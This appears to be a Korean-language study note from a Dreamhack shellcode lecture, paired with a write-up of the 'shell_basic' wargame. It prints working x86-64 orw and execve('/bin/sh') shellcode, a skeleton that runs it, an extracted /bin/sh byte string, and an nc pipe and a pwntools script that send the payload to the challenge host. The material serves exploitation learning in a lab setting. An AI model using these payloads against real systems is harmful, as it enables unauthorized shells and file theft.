TIL : Shellcode 🐚

https://dreamhack.io/lecture/courses/50

Shellcode는 exploit을 위해 제작된 assembly code 조각을 말한다.

만약 rip를 자신이 작성한 shellcode로 옮길 수 있다면, 사실상 원하는 모든 명령을 CPU에 내릴 수 있게 된다.

orw shellcode

의사 코드

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

syscall

syscall	rax	arg0 (rdi)	arg1 (rsi)	arg2 (rdx)
read	0x00	unsigned int fd	char *buf	size_t count
write	0x01	unsigned int fd	const char *buf	size_t count
open	0x02	const char *filename	int flags	umode_t mode

assemly

;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

“/tmp/flag”를 넣을 때 little endian을 고려해야 하고, 8글자씩 뒤집힌다는 사실을 놓치지 말자.

“alf/pmt/” → 0x616c662f706d742f

“g” → 0x67

skeleton code for compiling

__asm__(
    ".global run_sh\n"
    "run_sh:\n"
    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"
    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");
void run_sh();
int main() { run_sh(); }

assembly를 skeleton code에 넣은 뒤 실행하면, 셸코드가 실행되어 /tmp/flag에 저장된 문자열이 출력된다.

execve shellcode

execve shellcode는 shell program을 실행하는 shellcode이다.

의사 코드

execve("/bin/sh", null, null);

syscall

syscall	rax	arg0 (rdi)	arg1 (rsi)	arg2 (rdx)
execve	0x3b	const char *filename	const char *const *argv	const char *const *envp

assembly

`;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

위의 스켈레톤 코드에 assembly를 넣고 실행하면, /bin/sh가 실행된다.

objdump를 이용한 shellcode 추출

$ sudo apt-get install nasm 
$ nasm -f elf shellcode.asm //assemble shellcode.asm
$ objdump -d shellcode.o //disassemble shellcode.o
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$ 
execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

Wargame: shell_basic

주어진 프로그램은 입력한 shellcode를 실행한다.

/home/shell_basic/flag_name_is_loooooong에 있는 flag를 구하면 된다.

Solution 1 - 직접 assembly 작성하기

1. orw shellcode를 작성한다.

   이때 /home/shell_basic/flag_name_is_loooooong을 8자씩 끊어서 stack에 넣어줘야함에 주의한다.

   gnoooooo → 0x676e6f6f6f6f6f6f

   …

   hs/emoh/ → 0x68732f656d6f682f

    section .text
    global _start
    _start:
    push 0
    mov rax, 0x676e6f6f6f6f6f6f
    push rax
    mov rax, 0x6c5f73695f656d61
    push rax
    mov rax, 0x6e5f67616c662f63
    push rax
    mov rax, 0x697361625f6c6c65
    push rax
    mov rax, 0x68732f656d6f682f
    push rax
    mov rdi, rsp
    mov rax, 0x02
    xor rsi, rsi
    xor rdx, rdx
    syscall
   
    mov rdi, rax
    mov rax, 0
    mov rsi, rsp
    sub rsi, 0x30
    mov rdx, 0x30
    syscall
   
    mov rdi, 1
    mov rax, 1
    syscall
   

2. shellcode를 binary 형태로 변환한다.

    $ nasm -f elf64 test.asm
    $ objcopy --dump-section .text=test.bin test.o
   

3. 변환한 binary를 문제에서 주어진 주소로 전송한다.

    $ cat test.bin | nc host3.dreamhack.games 12345
   

Solution 2 - pwntool 활용하기

from pwn import *
r = remote('host3.dreamhack.games', 12345)
context.arch = 'amd64'

sh = shellcraft.amd64.open('/home/shell_basic/flag_name_is_loooooong')
sh += "sub rsp, 100\n"
sh += shellcraft.amd64.read('rax', 'rsp', 100)
sh += shellcraft.amd64.write(1, 'rsp', 100)
# print("sh:", sh)
mc = asm(sh)
r.send(mc)
r.interactive()